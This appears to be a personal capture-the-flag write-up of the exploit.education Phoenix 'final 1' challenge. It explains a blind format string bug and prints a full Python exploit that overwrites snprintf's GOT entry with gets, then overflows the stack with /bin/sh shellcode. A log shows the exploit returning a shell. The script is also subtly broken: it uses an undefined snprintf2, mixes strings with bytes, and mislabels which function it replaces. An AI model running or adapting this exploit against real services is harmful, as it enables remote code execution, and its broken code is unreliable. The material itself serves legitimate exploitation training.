blind format string - phoenix final 1
  • I have been trying to pwn the challenge final 1 for nearly a day and a half now and i don't seem to have made any progress , so i will write what i find here so i can hopefully link the dots

context

  • we will be working on the 32 bit version

analysis

  • the first thing i did was read the source code:
#include <arpa/inet.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <syslog.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char username[128];
char hostname[64];
FILE *output;

void logit(char *pw) {
  char buf[2048];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
      hostname, username, pw);

  fprintf(output, buf);
}

void trim(char *str) {
  char *q;

  q = strchr(str, '\r');
  if (q) *q = 0;
  q = strchr(str, '\n');
  if (q) *q = 0;
}

void parser() {
  char line[128];

  printf("[final1] $ ");

  while (fgets(line, sizeof(line) - 1, stdin)) {
    trim(line);
    if (strncmp(line, "username ", 9) == 0) {
      strcpy(username, line + 9);
    } else if (strncmp(line, "login ", 6) == 0) {
      if (username[0] == 0) {
        printf("invalid protocol\n");
      } else {
        logit(line + 6);
        printf("login failed\n");
      }
    }
    printf("[final1] $ ");
  }
}

int testing;

void getipport() {
  socklen_t l;
  struct sockaddr_in sin;

  if (testing) {
    strcpy(hostname, "testing:12121");
    return;
  }

  l = sizeof(struct sockaddr_in);
  if (getpeername(0, (void *)&sin, &l) == -1) {
    err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp) {
  if (argc >= 2) {
    testing = !strcmp(argv[1], "--test");
    output = stderr;
  } else {
    output = fopen("/dev/null", "w");
    if (!output) {
      err(1, "fopen(/dev/null)");
    }
  }

  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  printf("%s\n", BANNER);

  getipport();
  parser();

  return 0;
}
  • it is obvious that the vulnerability is in the function logit , exacly in the call to fprintf , because we control username and pw and by extension part of buff .
  • the thing that is both fun and frustrating here is that all the information that we could read by placing format specifiers (eg. %p) in buff is redirected to output which points to /dev/null , our data and with it our sweet feedback goes to oblivion , this is what is meant with the word blind .
  • the text before username and pw that includes the hostname can cause alignement errors, however , a simple calculation tell me that putting a single space before the data in username makes whatever addresses put after it in perfect alignment when things are copied into buff.
  • also for some context , here is the disassembly of logit:
	push   ebp
	mov    ebp,esp
	sub    esp,0x808
	sub    esp,0x8
	push   DWORD PTR [ebp+0x8]
	push   0x8049ee0
	push   0x8049f80
	push   0x8048b40
	push   0x800
	lea    eax,[ebp-0x808]
	push   eax
	call   0x8048560 <snprintf@plt>
	add    esp,0x20
	mov    eax,ds:0x8049f60
	sub    esp,0x8
	lea    edx,[ebp-0x808]
	push   edx
	push   eax
	call   0x80485a0 <fprintf@plt>
	add    esp,0x10
	nop
	leave  
	ret    

planning the exploit

  • the idea behind this exploit was polished by the circumstances of this challenge , examining the core dump i found i can do arbitrary write to any memory , but the number that i can write with %n is itself limited since i can only put around 250 characters in the login and username variables, so if i am doing partial writes to an address , the range i can work with is something between 20 and 250 , so searching in the core dumps i had an idea that thrilled me is someone who is just starting in this , what if i could create another , more powerful , easy to exploit vulnerability using my kind of hard format string one ?
  • now just follow with me , we know that the first argument given to the function snprintf is buf , so if we can somehow replace the got entry of snprintf with the address of gets , i can write whatever i want to buff with no bounds , a classic stack based buffer overflow !
  • examining with gdb :
    notice : set a break point and runt he program with --test , the addresses of the functions change at runtime .
(gdb) i functions snprintf
Non-debugging symbols:
0x08048560  snprintf@plt

(gdb) disassemble 0x08048560
Dump of assembler code for function snprintf@plt:
   0x08048560 <+0>:	jmp    DWORD PTR ds:0x8049e4c
   
(gdb) x/w 0x8049e4c
0x8049e4c <snprintf@got.plt>:	0xf7fb8b69
  • the address of the function snprintf is 0xf7fb8b69
  • and to get the address of gets:
(gdb) i functions gets 
All functions matching regular expression "gets":

Non-debugging symbols:
...
...
0xf7fb7db3  gets
...
...
  • i did not do the same diging process because this is not in the plt , since it is not used in the code , for more see plt , so the address of gets is 0xf7fb7db3, and the address of snprintf is 0xf7fb8b69 , notice the first two bytes are identical ? and more good news , in the bytes that are different , the number we wanna write to the address of snprintf to make it the same is gets address are 7d and b3 , in decimal 125 and 179 , both in our writable numbers range ! , in theory this is 100% working .

  • now that we found a good approach , let's lay down our plan, first we will solve our alignment issue , remember ,what we wanna write in the stack the address of the address of snprintf , because the format specifier %n writes to the memory in the address it find so on the stack , not to the stack itself , many confuse this , it simply writes the number of character written so far in the location pointed to by the argument given to it , which is a pointer laying in the stack , but the catch is , the argument is the stack in 32 bit programs should be aligned to 4 bytes , meaning they reside in a stack offset that is a multiple of 4 ,the reason for this is that due to calling conventions , variadic functions like snprintf read from the top of the stack of the caller function (the address in esp), and increase by 4 to find the next argument , when you want the nth argument , it simply access the address esp+n*4 ,so if our address that we put in the stack to modify its content is not placed right , the function wont be able to interpret it .

  • according to the disassembly of logit , this is the stack layou (yes buf is 2056 bytes in the assembly as opposed to 2048 in the code, this will be important in the exploit):

+----------------------------+  <- Lower memory (stack grows down)
| Return Address (ret)      |  
+----------------------------+
| Saved EBP                 |
+----------------------------+
| Buf[2056]              |
| (2056 bytes)              |
| ...                       |
+----------------------------+
| Blank / Padding (8 bytes) |
|                           |
+----------------------------+
| Address of Buf (4B)    |
+----------------------------+
| Pointer to Output (4B)    |
+----------------------------+  <- Higher memory
  • the snprintf reads from the position above the buffer address , meaning if we give it %lf %lf it will read from the blank 8 bytes , then , 8 bytes from buf
  • our address that we wanna put there is in the variable username , which is written to buf with this "Login from %s as [%s] with password [%s]\n",hostname, username, pw); , we will assume that hostname is the largest possible length i could take , which is the same length as 255.255.255.255:65535 (if it does not, we pad it to be the same length in the script) , this as done so we dont have unknown variation between machines
  • a side note : what we are writing to the stack is the address of the address of snprintf , the got entry , that's why the variables snprintf and snprintf 2 are not he same as the address of snprintf , one points to the first byte in the address and the other to the second.

the exploit

  • after some long trial and error (that any binary exploiter should experience), i figured out that after the padding of the address, we should also add 3 character, and then put the address of snprintf , after that , the format %lf%lf%lf%lf%x%x%x%x , puts us right on the first bit of the address , some playing around to print the exact number of character is necessary , also we will print to the address of snprintf +1 , remember that we got to change the first two bytes (first because of the endianness, and after a successful address modification the rest is a straight forward stack buffer overflow, after that i was left with this very not ugly python exploit :
#/usr/bin/python
from pwn import *

#phase 1 , replacing fgets with gets using the format string

#connection to the daemon and setting the padding 
#for hostname that we dicussed earlier
targetsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
targetsocket.connect(('localhost',64014))
exploited = remote.fromsocket(targetsocket)
(myaddr,myport) = targetsocket.getsockname()
hostname = str(myaddr)+':'+str(myport)
padding = 21 - len(hostname) 


snprintf = p32(0x08049e4c)
snprintf = p32(0x08049e4c+1)
space = b' '

#this gets us to the exact location we put the adresses
readtoplace =b"%lf%lf%lf%lf%x%x%x%x"
#this writes the amount of characters written so far at 
#the first byte in the address at the location we are at 
writecmd = b"%hhn"

username = b"username "+(padding+3)*'g'+snprintf2+snprintf+9*b'a'+readtoplace+b'\n'
login = b"login " +writecmd+54*b'a'+writecmd+b'\n' 

try:

	exploited.send(username)
	exploited.recvuntil("[final1] $ ")
	exploited.send(login)
	exploited.recvuntil("[final1] $ ")

except Exception as e:
    print(e)
    exit()


#phase 2 , the stack buffer overflow with

#now that we replace the function snprintf with gets
#we will give some bogus username and login just to 
#execute the function logit and get the gets to buf

#resending credentials so we can get to gets
#(snprintf previously)

exploited.send(username)
exploited.recvuntil("[final1] $ ")
exploited.send(login)
exploited.recvuntil("[final1] $ ")

#buf is 2048 in the c code but 2056 in the asm
bufsize = 2056
#bufaddr = p32(0xf7ffb660)
bufaddr = p32(0xffffd490)
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = shellcode + (bufsize-len(shellcode)+4)*b'z'+bufaddr
try :
    exploited.send(payload)
    exploited.interactive()
except Exception as e:
    print(e)
    exit()
  • running this script we get :
user@phoenix-amd64:~/finalone$ python remotexploit.py 
[*] Switching to interactive mode
$ 
$ whoami
phoenix-i386-final-one

epilogue

  • we did it guys ! , and we did it super cool .